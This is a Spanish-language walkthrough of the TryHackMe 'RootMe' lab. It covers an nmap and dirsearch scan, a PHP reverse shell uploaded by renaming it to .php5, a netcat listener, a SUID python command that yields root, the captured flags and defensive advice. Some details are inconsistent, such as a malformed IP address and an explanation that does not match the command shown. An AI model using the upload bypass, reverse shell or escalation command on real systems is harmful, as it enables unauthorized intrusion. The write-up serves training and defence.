# Write-up de la máquina RootMe – TryHackMe

- **Plataforma:** TryHackMe
- **Nombre de la máquina:** RootMe
- **Dificultad:** *Fácil*
- **Autor del reto:** MrSquids
- **Objetivo:** Obtener acceso al sistema, escalar privilegios y capturar las flags `user.txt` y `root.txt`.

## Escaneo de puertos (Reconocimiento)

El primer paso en cualquier pentest o CTF es hacer reconocimiento. Usamos nmap para detectar servicios disponibles.

```
(zikuta㉿zikuta)-[~/herramientas/Payload-Generator]
└─$ nmap -A --top-ports 100 10.10.14.186
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-11 18:53 CDT
Nmap scan report for 10.10.14.186
Host is up (0.20s latency).
Not shown: 98 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol
2.0)
| ssh-hostkey:
|   2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
|   256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_  256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HackIT - Home
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
```

```
HOP RTT       ADDRESS
1   199.85 ms 10.23.0.1
2   201.80 ms 10.10.14.186

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.44 seconds
```

## Resultados:

- **Puerto 22** → Servicio SSH (OpenSSH 7.6p1)
- **Puerto 80** → Servicio HTTP (Apache 2.4.29)

Con esto vemos que probablemente este hosteando una pagina web, asi que vamos al ruedo mijo.

# Exploración web

Navegando a `http://10.10.10.80.12, vemos una página básica de Apache. Nada útil`
Asi que usaremos la herramienta `dirsearch` para buscar directorios en la pagina web.

```
(zikuta㉿zikuta)-[~/herramientas/Payload-Generator]
└─$ dirsearch -u http://10.10.14.186/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_|||  _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/zikuta/herramientas/Payload-
Generator/reports/http_10.10.14.186/__25-06-11_18-50-41.txt

Target: http://10.10.14.186/

[18:50:41] Starting:
[18:50:44] 301 -  309B  - /js  ->  http://10.10.14.186/js/
[18:50:52] 403 -  277B  - /.ht_wsr.txt
[18:50:52] 403 -  277B  - /.htaccess.bak1
[18:50:52] 403 -  277B  - /.htaccess.orig
[18:50:52] 403 -  277B  - /.htaccess.sample
```

```
[18:50:52] 403 -  277B  - /.htaccess.save
[18:50:52] 403 -  277B  - /.htaccess_extra
[18:50:52] 403 -  277B  - /.htaccess_orig
[18:50:52] 403 -  277B  - /.htaccess_sc
[18:50:52] 403 -  277B  - /.htaccessBAK
[18:50:52] 403 -  277B  - /.htaccessOLD
[18:50:52] 403 -  277B  - /.htaccessOLD2
[18:50:52] 403 -  277B  - /.htm
[18:50:52] 403 -  277B  - /.html
[18:50:52] 403 -  277B  - /.htpasswd_test
[18:50:52] 403 -  277B  - /.htpasswds
[18:50:52] 403 -  277B  - /.httr-oauth
[18:50:55] 403 -  277B  - /.php
[18:51:31] 301 -  310B  - /css  ->  http://10.10.14.186/css/
[18:51:47] 200 -  464B  - /js/
[18:51:58] 301 -  312B  - /panel  ->  http://10.10.14.186/panel/
[18:51:59] 200 -  388B  - /panel/
[18:52:10] 403 -  277B  - /server-status
[18:52:10] 403 -  277B  - /server-status/
[18:52:21] 200 -  457B  - /uploads/
[18:52:21] 301 -  314B  - /uploads  ->  http://10.10.14.186/uploads/
Task Completed
```

En `/panel/` aparece una interfaz para **subir archivos**. Esto es muy interesante, asi que se me ocurrio la idea de subir un reverse shell para obtener acceso remoto al servidor.

# Reverse Shell

En la interfaz de subida, tratamos de subir un archivo `.php`, pero nos bloquea.

Entonces usamos una técnica de evasión muy común: **renombramos la reverse shell a `.php5`**.

Subimos el archivo, luego vamos a: `http://<IP>/uploads/shell.php5?`

nos ponemos en escucha en `netcat` por el puerto 4444 usaremos el siguiente comando.

```
─(zikuta㉿zikuta)-[~/herramientas/Payload-Generator]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.23.120.245] from (UNKNOWN) [10.10.14.186] 60694
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020
x86_64 x86_64 x86_64 GNU/Linux
 23:51:36 up 5 min,  0 users,  load average: 0.01, 0.13, 0.08
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
```

Ya estamos conectados al servidor por medio de una reverse shell!!!.

ahora ejecutamos el comando

```
cat ~/user.txt
THM{y0u_g0t_a_sh3ll}
```

Y obtendremos la flag de usuario.

## Escalada de privilegios

Ahora buscamos cómo subir de `www-data` a `root`. Empezamos buscando archivos con **permisos SUID**, que pueden darnos privilegios.

```
$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
```

```
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9665/bin/mount
/snap/core/9665/bin/ping
/snap/core/9665/bin/ping6
/snap/core/9665/bin/su
/snap/core/9665/bin/umount
/snap/core/9665/usr/bin/chfn
/snap/core/9665/usr/bin/chsh
/snap/core/9665/usr/bin/gpasswd
/snap/core/9665/usr/bin/newgrp
/snap/core/9665/usr/bin/passwd
/snap/core/9665/usr/bin/sudo
/snap/core/9665/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9665/usr/lib/openssh/ssh-keysign
/snap/core/9665/usr/lib/snapd/snap-confine
/snap/core/9665/usr/sbin/pppd
/bin/mount
/bin/su
/bin/fusermount
/bin/ping
/bin/umount
```

Hay un binario inusual con SUID:

```
/usr/bin/python
```

# ¿Por qué esto es peligroso?

Porque `python` permite ejecutar código arbitrario. Si `python` se ejecuta con permisos de root, entonces podemos usarlo para lanzar una shell como root.

Esto es exactamente lo que nos permite hacer **GTFOBins** (una base de datos de técnicas de escalada y explotación con binarios comunes):

## Estrategia general:

Buscamos formas de aprovechar configuraciones incorrectas o permisos especiales para escalar privilegios.

Una técnica clásica es buscar **archivos con el bit SUID** activado.

# ¿Qué es el bit SUID?

SUID (Set User ID) es un permiso especial en Linux que permite a un usuario ejecutar un archivo **con los privilegios del propietario del archivo**, **incluso si no tiene permisos normalmente**.

- Si un archivo tiene el bit SUID y pertenece a root, cualquier usuario que lo ejecute lo hace **como si fuera root**.

# Exploit: obtener shell root con python SUID

Ejecutamos el siguiente comando:

```
$ /usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")'
id
uid=0(root) gid=33(www-data) groups=33(www-data)
```

## ¿Qué hace este comando?

- `import os` : carga el módulo del sistema operativo.
- `os.execl(...)` : reemplaza el proceso actual con una nueva shell ( `/bin/sh` ).
- El flag `-p` **mantiene los privilegios efectivos** del proceso, es decir, los de root.

Esto lanza una **shell como root** directamente.

# Root

Ahora que somos root para leer el flag utilizaremos el siguiente comando.

```
cat ~/root.txt
THM{pr1v1l3g3_3sc4l4t10n}
```

# Estrategias utilizadas:

## 1. Enumeración activa

- Desde el principio se hizo un escaneo de puertos para saber qué servicios estaban abiertos.
- Luego se visitó el sitio web principal y se identificaron posibles vulnerabilidades.

## 2. Descubrimiento de rutas ocultas

- Uso de herramientas como `dirsearch` para descubrir el directorio `/uploads/`, que nos permitió subir archivos.

## 3. Ejecución remota de comandos

- Se subió una reverse shell `.php`, que al ejecutarse, nos dio acceso remoto como **www-data**.

## 4. Escalada de privilegios

- Se buscó binarios con SUID usando `find`.
- Al encontrar `/usr/bin/python` con SUID, se usó una técnica documentada en **GTFOBins** para ganar acceso root.

# ¿Cómo prevenir este tipo de vulnerabilidades?

## 1. Restricciones de subida de archivos

- Nunca permitir que se suban archivos ejecutables como `.php` a un servidor sin validación ni restricción.
- Usar listas blancas de extensiones y escaneo de contenido.
- Guardar archivos subidos fuera del directorio accesible por la web.

## 2. Revisión de permisos SUID

- Revisar periódicamente los binarios con permisos SUID.
- **Nunca darle SUID a interpretes como Python**, Perl, Bash, etc.

## 3. Principio de menor privilegio

- Asegurarse de que el usuario del servicio (www-data) tenga solo los permisos mínimos necesarios.

## 4. Monitoreo de tráfico y logs

- Detectar conexiones inusuales, como una reverse shell, revisando los logs del servidor web o tráfico de red.

## 5. Parcheo de servicios y aplicaciones

- Mantener actualizados Apache, PHP y cualquier CMS que se use en producción.

# Conclusión general

Esta máquina es un excelente ejemplo de cómo una **mala configuración de permisos** y **falta de controles de seguridad en el servidor web** pueden llevar fácilmente a una **toma total del sistema**. No se necesitaron vulnerabilidades avanzadas ni exploits complicados. Bastó con:

- Observar el comportamiento del sitio web.
- Subir un archivo malicioso.
- Buscar una mala configuración de permisos.
  En entornos reales, **los errores más simples son muchas veces los más explotables**.